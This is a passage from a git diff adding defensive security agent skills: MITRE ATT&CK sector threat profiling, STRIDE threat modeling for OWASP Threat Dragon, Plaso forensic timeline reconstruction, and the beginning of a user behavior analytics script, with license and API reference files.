associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-threat-landscape-assessment-for-sector/references/api-reference.md b/skills/performing-threat-landscape-assessment-for-sector/references/api-reference.md new file mode 100644 index 00000000..428b3e9d --- /dev/null +++ b/skills/performing-threat-landscape-assessment-for-sector/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Threat Landscape Assessment for Sector + +## attackcti Library (MITRE ATT&CK Python Client) + +| Method | Description | +|--------|-------------| +| `attack_client()` | Initialize ATT&CK STIX client | +| `client.get_groups()` | Get all threat groups | +| `client.get_techniques_used_by_group(group_id)` | Get techniques for a group | +| `client.get_techniques()` | Get all techniques | +| `client.get_mitigations()` | Get all mitigations | +| `client.get_software()` | Get all tools/malware | + +## Group Object Fields + +| Field | Description | +|-------|-------------| +| `name` | Primary group name | +| `aliases` | Alternative group names | +| `description` | Group overview | +| `external_references` | ATT&CK ID, URLs | +| `created` | First catalogued date | + +## Sector ISACs + +| ISAC | Sector | URL | +|------|--------|-----| +| FS-ISAC | Financial Services | https://www.fsisac.com/ | +| H-ISAC | Healthcare | https://h-isac.org/ | +| E-ISAC | Energy | https://www.eisac.com/ | +| IT-ISAC | Technology | https://www.it-isac.org/ | +| MS-ISAC | State/Local Gov | https://www.cisecurity.org/ms-isac | + +## Sector Threat Reports + +| Report | Publisher | URL | +|--------|-----------|-----| +| Verizon DBIR | Verizon | https://www.verizon.com/business/resources/reports/dbir/ | +| Global Threat Report | CrowdStrike | https://www.crowdstrike.com/global-threat-report/ | +| M-Trends | Mandiant | https://www.mandiant.com/m-trends | +| X-Force Threat Index | IBM | https://www.ibm.com/reports/threat-intelligence | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `attackcti` | >=0.4 | Query MITRE ATT&CK STIX data | +| `collections` | stdlib | Technique frequency counting | +| `json` | stdlib | Report generation | + +## References + +- MITRE ATT&CK Groups: https://attack.mitre.org/groups/ +- attackcti PyPI: https://pypi.org/project/attackcti/ +- ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/ +- STIX/TAXII: https://oasis-open.github.io/cti-documentation/ diff --git a/skills/performing-threat-landscape-assessment-for-sector/scripts/agent.py b/skills/performing-threat-landscape-assessment-for-sector/scripts/agent.py new file mode 100644 index 00000000..fd4bbc6f --- /dev/null +++ b/skills/performing-threat-landscape-assessment-for-sector/scripts/agent.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +"""Agent for sector-specific threat landscape assessment. + +Uses the attackcti library to query MITRE ATT&CK for threat groups +targeting a sector, analyzes common techniques, maps attack vectors, +and generates a strategic threat landscape report. +""" + +import json +import sys +from datetime import datetime +from collections import Counter + +try: + from attackcti import attack_client + HAS_ATTACKCTI = True +except ImportError: + HAS_ATTACKCTI = False + + +SECTOR_GROUPS = { + "financial": ["FIN7", "FIN8", "FIN11", "Carbanak", "Lazarus Group", + "Cobalt Group", "TA505"], + "healthcare": ["FIN12", "Wizard Spider", "Vice Society", "Conti"], + "energy": ["Sandworm Team", "Dragonfly", "TEMP.Veles", "XENOTIME"], + "government": ["APT29", "APT28", "Turla", "Gamaredon Group", + "Mustang Panda", "APT41"], + "manufacturing": ["APT41", "TEMP.Veles", "Dragonfly", "HEXANE"], + "technology": ["APT41", "Lazarus Group", "APT10", "Winnti Group"], + "retail": ["FIN7", "FIN8", "Carbanak", "Magecart"], +} + +SECTOR_VECTORS = { + "financial": { + "primary": ["Spearphishing (T1566)", "Exploit Public-Facing App (T1190)", + "Valid Accounts (T1078)", "Supply Chain (T1195)"], + "emerging": ["MFA Fatigue", "QR Phishing", "BEC", "API Key Theft"], + }, + "healthcare": { + "primary": ["Spearphishing (T1566)", "Exploit Public-Facing App (T1190)", + "External Remote Services (T1133)", "Valid Accounts (T1078)"], + "emerging": ["IoMT Exploitation", "Telehealth Attacks", + "EHR Supply Chain"], + }, + "energy": { + "primary": ["Spearphishing (T1566)", "Supply Chain (T1195)", + "External Remote Services (T1133)"], + "emerging": ["OT/ICS Protocol Exploitation", "SCADA Remote Access", + "Vendor VPN Exploitation"], + }, +} + + +class ThreatLandscapeAgent: + """Conducts sector-specific cyber threat landscape assessment.""" + + def __init__(self, sector): + self.sector = sector.lower() + self.client = attack_client() if HAS_ATTACKCTI else None + self.actor_profiles = [] + self.technique_ranking = [] + + def profile_sector_actors(self): + """Query ATT&CK for groups known to target this sector.""" + target_names = SECTOR_GROUPS.get(self.sector, []) + if not self.client: + return [{"name": n, "source": "static_mapping"} for n in target_names] + + all_groups = self.client.get_groups() + for group_name in target_names: + group = next( + (g for g in all_groups + if g.get("name", "").lower() == group_name.lower() + or group_name.lower() in + [a.lower() for a in g.get("aliases", [])]), + None) + if not group: + self.actor_profiles.append({"name": group_name, "found": False}) + continue + + attack_id = "" + for ref in group.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + attack_id = ref.get("external_id", "") + break + + techniques = [] + if attack_id: + techs = self.client.get_techniques_used_by_group(attack_id) + for t in techs: + for ref in t.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + techniques.append({ + "id": ref.get("external_id", ""), + "name": t.get("name", ""), + }) + break + + self.actor_profiles.append({ + "name": group.get("name", ""), + "attack_id": attack_id, + "aliases": group.get("aliases", [])[:5], + "description": (group.get("description", "") or "")[:300], + "technique_count": len(techniques), + "techniques": techniques[:25], + }) + return self.actor_profiles + + def rank_techniques(self): + """Rank techniques by how many sector actors use them.""" + counter = Counter() + for actor in self.actor_profiles: + for tech in actor.get("techniques", []): + key = f"{tech['id']}|{tech['name']}" + counter[key] += 1 + + self.technique_ranking = [ + {"technique_id": k.split("|")[0], + "name": k.split("|")[1] if "|" in k else "", + "actor_count": count, + "actors": [a["name"] for a in self.actor_profiles + if any(t["id"] == k.split("|")[0] + for t in a.get("techniques", []))]} + for k, count in counter.most_common(20) + ] + return self.technique_ranking + + def get_attack_vectors(self): + """Return known attack vectors for this sector.""" + return SECTOR_VECTORS.get(self.sector, { + "primary": ["Spearphishing (T1566)", + "Exploit Public-Facing App (T1190)"], + "emerging": ["Supply Chain Compromise"], + }) + + def generate_report(self): + """Generate sector threat landscape report.""" + self.profile_sector_actors() + self.rank_techniques() + + report = { + "sector": self.sector, + "report_date": datetime.utcnow().isoformat(), + "threat_actors": len(self.actor_profiles), + "actor_profiles": self.actor_profiles, + "top_techniques": self.technique_ranking[:15], + "attack_vectors": self.get_attack_vectors(), + "recommendations": [ + "Prioritize detections for top 10 techniques", + "Conduct threat-informed red team exercises", + "Join sector ISAC for real-time sharing", + "Map defenses to MITRE ATT&CK Navigator", + "Monitor sector-specific threat advisories", + ], + } + + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + sector = sys.argv[1] if len(sys.argv) > 1 else "financial" + agent = ThreatLandscapeAgent(sector) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-threat-modeling-with-owasp-threat-dragon/LICENSE b/skills/performing-threat-modeling-with-owasp-threat-dragon/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-threat-modeling-with-owasp-threat-dragon/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-threat-modeling-with-owasp-threat-dragon/references/api-reference.md b/skills/performing-threat-modeling-with-owasp-threat-dragon/references/api-reference.md new file mode 100644 index 00000000..673bc9cc --- /dev/null +++ b/skills/performing-threat-modeling-with-owasp-threat-dragon/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: Threat Modeling with OWASP Threat Dragon + +## Threat Dragon JSON Model Structure + +| Field | Description | +|-------|-------------| +| `version` | Threat Dragon version (e.g., "2.2.0") | +| `summary.title` | Threat model name | +| `summary.owner` | Model owner | +| `detail.diagrams[]` | Array of DFD diagrams | +| `detail.diagrams[].cells[]` | DFD elements within a diagram | +| `detail.diagrams[].diagramType` | Methodology (STRIDE, LINDDUN, CIA) | + +## DFD Element Types + +| Type | Threat Dragon Class | STRIDE Categories | +|------|--------------------|--------------------| +| Process | `tm.Process` | S, T, R, I, D, E | +| Data Store | `tm.Store` | T, I, D | +| Data Flow | `tm.Flow` | T, I, D | +| External Entity | `tm.Actor` | S, R | +| Trust Boundary | `tm.Boundary` | N/A | + +## STRIDE Categories + +| Letter | Threat | Mitigation | +|--------|--------|------------| +| S | Spoofing | Strong authentication, MFA | +| T | Tampering | Integrity checks, HMAC | +| R | Repudiation | Audit logging | +| I | Information Disclosure | Encryption, least privilege | +| D | Denial of Service | Rate limiting, auto-scaling | +| E | Elevation of Privilege | RBAC, authorization checks | + +## Threat Status Values + +| Status | Description | +|--------|-------------| +| Open | Threat needs mitigation | +| Mitigated | Controls address the threat | +| Not Applicable | Threat does not apply | + +## Docker Deployment + +```bash +docker run -p 3000:3000 \ + -e ENCRYPTION_JWT_SIGNING_KEY=$(openssl rand -hex 32) \ + -e ENCRYPTION_JWT_REFRESH_SIGNING_KEY=$(openssl rand -hex 32) \ + owasp/threat-dragon:latest +``` + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `json` | stdlib | Threat Dragon model serialization | +| `uuid` | stdlib | Generate unique element IDs | + +## References + +- OWASP Threat Dragon: https://owasp.org/www-project-threat-dragon/ +- Threat Dragon GitHub: https://github.com/OWASP/threat-dragon +- STRIDE Model: https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats +- LINDDUN: https://www.linddun.org/ diff --git a/skills/performing-threat-modeling-with-owasp-threat-dragon/scripts/agent.py b/skills/performing-threat-modeling-with-owasp-threat-dragon/scripts/agent.py new file mode 100644 index 00000000..69c217da --- /dev/null +++ b/skills/performing-threat-modeling-with-owasp-threat-dragon/scripts/agent.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python3 +"""Agent for threat modeling with OWASP Threat Dragon. + +Programmatically creates Threat Dragon JSON threat models, applies +STRIDE analysis to DFD elements, manages threat inventory, and +generates summary reports for security design reviews. +""" + +import json +import sys +import uuid +from datetime import datetime +from pathlib import Path + + +STRIDE_BY_ELEMENT = { + "process": ["Spoofing", "Tampering", "Repudiation", + "Information Disclosure", "Denial of Service", + "Elevation of Privilege"], + "data_store": ["Tampering", "Information Disclosure", + "Denial of Service"], + "data_flow": ["Tampering", "Information Disclosure", + "Denial of Service"], + "external_entity": ["Spoofing", "Repudiation"], +} + +STRIDE_MITIGATIONS = { + "Spoofing": ["Implement strong authentication (MFA)", + "Use mutual TLS for service-to-service"], + "Tampering": ["Use integrity checks (HMAC, digital signatures)", + "Implement input validation"], + "Repudiation": ["Enable comprehensive audit logging", + "Use tamper-evident log storage"], + "Information Disclosure": ["Encrypt data at rest and in transit", + "Implement least-privilege access"], + "Denial of Service": ["Implement rate limiting", + "Use auto-scaling and circuit breakers"], + "Elevation of Privilege": ["Enforce RBAC and least privilege", + "Validate authorization on every request"], +} + + +class ThreatModelAgent: + """Creates and manages OWASP Threat Dragon threat models.""" + + def __init__(self, title, owner="Security Team", description=""): + self.model = { + "version": "2.2.0", + "summary": { + "title": title, + "owner": owner, + "description": description, + "id": 0, + }, + "detail": { + "contributors": [], + "diagrams": [], + "diagramTop": 0, + "reviewer": "", + "threatTop": 0, + }, + } + self.threats = [] + self.threat_counter = 0 + + def add_diagram(self, title, diagram_type="STRIDE"): + """Add a new data flow diagram to the threat model.""" + diagram_id = len(self.model["detail"]["diagrams"]) + diagram = { + "id": diagram_id, + "title": title, + "diagramType": diagram_type, + "placeholder": f"New {diagram_type} diagram", + "thumbnail": "", + "version": "2.2.0", + "cells": [], + } + self.model["detail"]["diagrams"].append(diagram) + return diagram_id + + def add_element(self, diagram_id, element_type, name, + x=100, y=100, description=""): + """Add a DFD element to a diagram.""" + element_id = str(uuid.uuid4()) + type_map = { + "process": "tm.Process", + "data_store": "tm.Store", + "data_flow": "tm.Flow", + "external_entity": "tm.Actor", + "trust_boundary": "tm.Boundary", + } + cell = { + "type": type_map.get(element_type, "tm.Process"), + "id": element_id, + "name": name, + "description": description, + "position": {"x": x, "y": y}, + "size": {"width": 100, "height": 60}, + "threats": [], + "hasOpenThreats": False, + } + self.model["detail"]["diagrams"][diagram_id]["cells"].append(cell) + return element_id + + def apply_stride(self, diagram_id, element_id, element_type): + """Apply STRIDE analysis to a DFD element and generate threats.""" + categories = STRIDE_BY_ELEMENT.get(element_type, []) + generated = [] + diagram = self.model["detail"]["diagrams"][diagram_id] + element = next((c for c in diagram["cells"] if c["id"] == element_id), None) + if not element: + return [] + + for category in categories: + self.threat_counter += 1 + threat = { + "id": str(self.threat_counter), + "title": f"{category} - {element['name']}", + "type": category, + "status": "Open", + "severity": "Medium", + "description": f"Potential {category.lower()} threat " + f"against {element['name']}", + "mitigation": "; ".join( + STRIDE_MITIGATIONS.get(category, ["Review required"])), + "modelType": "STRIDE", + "element_id": element_id, + } + element["threats"].append(threat) + element["hasOpenThreats"] = True + self.threats.append(threat) + generated.append(threat) + + self.model["detail"]["threatTop"] = self.threat_counter + return generated + + def update_threat_status(self, threat_id, status, mitigation=None): + """Update a threat's status (Open, Mitigated, Not Applicable).""" + for threat in self.threats: + if threat["id"] == str(threat_id): + threat["status"] = status + if mitigation: + threat["mitigation"] = mitigation + return threat + return None + + def get_threat_summary(self): + """Summarize threats by status and category.""" + summary = {"total": len(self.threats), "by_status": {}, + "by_type": {}, "by_severity": {}} + for t in self.threats: + summary["by_status"][t["status"]] = \ + summary["by_status"].get(t["status"], 0) + 1 + summary["by_type"][t["type"]] = \ + summary["by_type"].get(t["type"], 0) + 1 + summary["by_severity"][t["severity"]] = \ + summary["by_severity"].get(t["severity"], 0) + 1 + return summary + + def save_model(self, output_path): + """Save the threat model as Threat Dragon JSON file.""" + with open(output_path, "w") as f: + json.dump(self.model, f, indent=2) + return output_path + + def generate_report(self): + """Generate threat model assessment report.""" + summary = self.get_threat_summary() + report = { + "title": self.model["summary"]["title"], + "owner": self.model["summary"]["owner"], + "report_date": datetime.utcnow().isoformat(), + "diagrams": len(self.model["detail"]["diagrams"]), + "threat_summary": summary, + "open_threats": [t for t in self.threats if t["status"] == "Open"], + "mitigated_threats": [t for t in self.threats + if t["status"] == "Mitigated"], + } + print(json.dumps(report, indent=2)) + return report + + +def main(): + title = sys.argv[1] if len(sys.argv) > 1 else "Sample Application" + output = sys.argv[2] if len(sys.argv) > 2 else "./threat_model.json" + + agent = ThreatModelAgent(title, owner="Security Team", + description="Automated threat model") + did = agent.add_diagram("Main Data Flow") + web = agent.add_element(did, "external_entity", "Web Browser", 50, 50) + api = agent.add_element(did, "process", "API Gateway", 250, 50) + db = agent.add_element(did, "data_store", "Database", 450, 50) + flow1 = agent.add_element(did, "data_flow", "HTTPS Request", 150, 100) + + agent.apply_stride(did, web, "external_entity") + agent.apply_stride(did, api, "process") + agent.apply_stride(did, db, "data_store") + agent.apply_stride(did, flow1, "data_flow") + + agent.save_model(output) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-timeline-reconstruction-with-plaso/LICENSE b/skills/performing-timeline-reconstruction-with-plaso/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-timeline-reconstruction-with-plaso/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-timeline-reconstruction-with-plaso/references/api-reference.md b/skills/performing-timeline-reconstruction-with-plaso/references/api-reference.md new file mode 100644 index 00000000..bc7dc9e2 --- /dev/null +++ b/skills/performing-timeline-reconstruction-with-plaso/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: Timeline Reconstruction with Plaso Agent + +## Overview + +Wraps Plaso (log2timeline/psort) via subprocess for forensic super-timeline generation, filtering, export, and automated CSV analysis for activity spikes and source distribution. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| csv | stdlib | Timeline CSV parsing | +| subprocess | stdlib | Plaso tool execution | + +## External Tools Required + +| Tool | Purpose | +|------|---------| +| log2timeline.py | Forensic timeline generation from disk images | +| psort.py | Timeline filtering, sorting, and export | + +## Core Functions + +### `run_log2timeline(image_path, storage_file, parsers, filter_file)` +Executes log2timeline.py to parse a disk image into a Plaso storage file. +- **Parameters**: `image_path` (str), `storage_file` (str), `parsers` (str, optional), `filter_file` (str, optional) +- **Timeout**: 7200 seconds (2 hours) +- **Returns**: `dict` with command, returncode, stdout, stderr + +### `run_psort_export(storage_file, output_file, output_format, date_filter)` +Exports timeline from Plaso storage to CSV, JSONL, or dynamic format. +- **Formats**: `l2tcsv`, `json_line`, `dynamic` +- **Returns**: `dict` with command, returncode, output_file + +### `create_filter_file(filter_path, paths)` +Generates a Plaso filter file targeting key forensic artifacts. +- **Default paths**: winevt, Prefetch, NTUSER.DAT, Chrome, Firefox, MFT, USN Journal, registry + +### `analyze_timeline_csv(csv_path, max_rows)` +Statistical analysis of exported timeline: source distribution and hourly activity spikes (>3x average). +- **Returns**: `dict` with `total_events`, `source_counts`, `spike_hours`, `avg_events_per_hour` + +### `generate_incident_window(storage_file, output_dir, start_date, end_date)` +Exports events within a specific date range for focused analysis. + +### `full_pipeline(image_path, output_dir, parsers, start_date, end_date)` +End-to-end pipeline: log2timeline -> psort export -> CSV analysis -> incident window -> JSONL export. + +## Default Parsers + +``` +winevtx, prefetch, mft, usnjrnl, lnk, recycle_bin, +chrome_history, firefox_history, winreg +``` + +## Usage + +```bash +python agent.py /cases/evidence.dd /cases/timeline/ "2024-01-15 00:00:00" "2024-01-20 23:59:59" +``` + +## Output Files + +| File | Format | Purpose | +|------|--------|---------| +| evidence.plaso | SQLite | Plaso intermediate storage | +| full_timeline.csv | L2T CSV | Complete super-timeline | +| incident_window.csv | L2T CSV | Filtered incident period | +| timeline.jsonl | JSON Lines | SIEM/Timesketch import | diff --git a/skills/performing-timeline-reconstruction-with-plaso/scripts/agent.py b/skills/performing-timeline-reconstruction-with-plaso/scripts/agent.py new file mode 100644 index 00000000..e299b717 --- /dev/null +++ b/skills/performing-timeline-reconstruction-with-plaso/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Forensic timeline reconstruction agent using Plaso subprocess wrappers.""" + +import subprocess +import os +import sys +import csv +import json +from datetime import datetime +from collections import defaultdict +from pathlib import Path + + +def verify_plaso_installed(): + """Check that log2timeline.py and psort.py are available.""" + tools = {} + for tool in ["log2timeline.py", "psort.py"]: + result = subprocess.run( + [tool, "--version"], capture_output=True, text=True + ) + tools[tool] = result.stdout.strip() if result.returncode == 0 else None + return tools + + +def run_log2timeline(image_path, storage_file, parsers=None, filter_file=None): + """Execute log2timeline.py to generate Plaso storage file.""" + cmd = ["log2timeline.py", "--storage-file", storage_file] + if parsers: + cmd.extend(["--parsers", parsers]) + if filter_file: + cmd.extend(["--filter-file", filter_file]) + cmd.append(image_path) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=7200) + return { + "command": " ".join(cmd), + "returncode": result.returncode, + "stdout": result.stdout[-500:] if result.stdout else "", + "stderr": result.stderr[-500:] if result.stderr else "", + } + + +def run_psort_export(storage_file, output_file, output_format="l2tcsv", + date_filter=None): + """Export timeline from Plaso storage using psort.py.""" + cmd = ["psort.py", "-o", output_format, "-w", output_file, storage_file] + if date_filter: + cmd.append(date_filter) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + return { + "command": " ".join(cmd), + "returncode": result.returncode, + "output_file": output_file, + "stdout": result.stdout[-500:] if result.stdout else "", + } + + +def create_filter_file(filter_path, paths=None): + """Create a Plaso filter file for targeted parsing.""" + if paths is None: + paths = [ + "/Windows/System32/winevt/Logs", + "/Windows/Prefetch", + "/Users/*/NTUSER.DAT", + "/Users/*/AppData/Local/Google/Chrome", + "/Users/*/AppData/Roaming/Mozilla/Firefox", + "/$MFT", + "/$UsnJrnl:$J", + "/Windows/System32/config", + ] + with open(filter_path, "w") as f: + f.write("\n".join(paths) + "\n") + return filter_path + + +def analyze_timeline_csv(csv_path, max_rows=500000): + """Analyze exported timeline CSV for patterns and anomalies.""" + events_by_hour = defaultdict(int) + source_counts = defaultdict(int) + total = 0 + with open(csv_path, "r", errors="ignore") as f: + reader = csv.DictReader(f) + for row in reader: + if total >= max_rows: + break + total += 1 + source = row.get("source_short", row.get("source", "Unknown")) + source_counts[source] += 1 + timestamp = row.get("datetime", row.get("date", "")) + try: + dt = datetime.strptime(timestamp[:19], "%Y-%m-%dT%H:%M:%S") + hour_key = dt.strftime("%Y-%m-%d %H:00") + events_by_hour[hour_key] += 1 + except (ValueError, TypeError): + pass + avg_per_hour = total / max(len(events_by_hour), 1) + spikes = { + h: c for h, c in events_by_hour.items() if c > avg_per_hour * 3 + } + return { + "total_events": total, + "source_counts": dict(sorted(source_counts.items(), key=lambda x: -x[1])), + "spike_hours": dict(sorted(spikes.items())), + "unique_hours": len(events_by_hour), + "avg_events_per_hour": round(avg_per_hour, 1), + } + + +def generate_incident_window(storage_file, output_dir, start_date, end_date): + """Export events within a specific incident time window.""" + output_file = os.path.join(output_dir, "incident_window.csv") + date_filter = f"date > '{start_date}' AND date < '{end_date}'" + return run_psort_export(storage_file, output_file, date_filter=date_filter) + + +def full_pipeline(image_path, output_dir, parsers=None, start_date=None, end_date=None): + """Run the full timeline reconstruction pipeline.""" + os.makedirs(output_dir, exist_ok=True) + storage_file = os.path.join(output_dir, "evidence.plaso") + if parsers is None: + parsers = "winevtx,prefetch,mft,usnjrnl,lnk,recycle_bin,chrome_history,firefox_history,winreg" + filter_path = os.path.join(output_dir, "filter.txt") + create_filter_file(filter_path) + results = {"steps": []} + l2t_result = run_log2timeline(image_path, storage_file, parsers=parsers, filter_file=filter_path) + results["steps"].append({"step": "log2timeline", **l2t_result}) + if l2t_result["returncode"] != 0: + results["error"] = "log2timeline failed" + return results + full_csv = os.path.join(output_dir, "full_timeline.csv") + export_result = run_psort_export(storage_file, full_csv) + results["steps"].append({"step": "psort_export", **export_result}) + if os.path.exists(full_csv): + results["analysis"] = analyze_timeline_csv(full_csv) + if start_date and end_date: + window_result = generate_incident_window(storage_file, output_dir, start_date, end_date) + results["steps"].append({"step": "incident_window", **window_result}) + window_csv = os.path.join(output_dir, "incident_window.csv") + if os.path.exists(window_csv): + results["incident_analysis"] = analyze_timeline_csv(window_csv) + jsonl_output = os.path.join(output_dir, "timeline.jsonl") + run_psort_export(storage_file, jsonl_output, output_format="json_line") + return results + + +def print_report(results): + print("Timeline Reconstruction Report") + print("=" * 50) + for step in results.get("steps", []): + status = "OK" if step.get("returncode") == 0 else "FAILED" + print(f" [{status}] {step['step']}: {step.get('command', '')[:80]}") + if "analysis" in results: + a = results["analysis"] + print(f"\nTotal Events: {a['total_events']}") + print(f"Avg/Hour: {a['avg_events_per_hour']}") + print("\nSource Breakdown:") + for src, cnt in list(a["source_counts"].items())[:10]: + print(f" {src:15s}: {cnt:>8}") + if a["spike_hours"]: + print("\nActivity Spikes:") + for hour, cnt in a["spike_hours"].items(): + print(f" {hour}: {cnt} events") + + +if __name__ == "__main__": + if len(sys.argv) < 3: + print("Usage: python agent.py [start_date] [end_date]") + sys.exit(1) + image = sys.argv[1] + out_dir = sys.argv[2] + start = sys.argv[3] if len(sys.argv) > 3 else None + end = sys.argv[4] if len(sys.argv) > 4 else None + result = full_pipeline(image, out_dir, start_date=start, end_date=end) + print_report(result) diff --git a/skills/performing-user-behavior-analytics/LICENSE b/skills/performing-user-behavior-analytics/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-user-behavior-analytics/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-user-behavior-analytics/references/api-reference.md b/skills/performing-user-behavior-analytics/references/api-reference.md new file mode 100644 index 00000000..bda0b02b --- /dev/null +++ b/skills/performing-user-behavior-analytics/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: User Behavior Analytics (UEBA) Agent + +## Overview + +Detects anomalous user behavior using Elasticsearch authentication logs: impossible travel via haversine distance, off-hours access against baselines, and composite risk scoring. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| elasticsearch | >= 8.0 | Elasticsearch Python client | +| math | stdlib | Haversine distance calculation | + +## Core Functions + +### `build_user_baselines(es, index, days)` +Builds 30-day behavioral baselines per user: unique IPs, countries, login hour stats, daily averages. +- **Returns**: `dict[str, dict]` - user to baseline mapping + +### `detect_impossible_travel(es, index, hours)` +Detects sequential logins from locations requiring >900 km/h travel speed over >500 km distance. +- **Algorithm**: Haversine distance / time between consecutive logins per user +- **Returns**: `list[dict]` - alerts with from/to locations, distance, speed + +### `detect_off_hours_access(es, baselines, index, hours)` +Flags logins outside 2 standard deviations from user's average login hour, on weekends, or between midnight-6am / after 10pm. +- **Returns**: `list[dict]` - alerts with user, timestamp, login hour, baseline + +### `calculate_risk_scores(impossible_travel, off_hours, baselines)` +Aggregates anomalies into composite risk scores: +40 for impossible travel, +20 for off-hours. +- **Returns**: `list[tuple]` - (user, {risk, anomalies}) sorted descending + +### `haversine(lat1, lon1, lat2, lon2)` +Great-circle distance between two geographic coordinates in km. +- **Returns**: `float` - distance in kilometers + +## Elasticsearch Index Requirements + +| Index | Fields Required | +|-------|----------------| +| `logs-auth-*` | `user.name`, `source.ip`, `source.geo.location`, `@timestamp`, `event.outcome` | + +## Risk Score Weights + +| Anomaly Type | Points | +|--------------|--------| +| Impossible travel | +40 | +| Off-hours access | +20 | +| Weekend access | +20 | + +## Usage + +```bash +python agent.py https://elastic.corp.local:9200 +``` diff --git a/skills/performing-user-behavior-analytics/scripts/agent.py b/skills/performing-user-behavior-analytics/scripts/agent.py new file mode 100644 index 00000000..203c2f86 --- /dev/null +++ b/skills/performing-user-behavior-analytics/scripts/agent.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python3 +"""User Behavior Analytics (UEBA) agent using elasticsearch-py.""" + +import sys +import json +import math +from datetime import datetime, timedelta + +try: + from elasticsearch import Elasticsearch +except ImportError: + 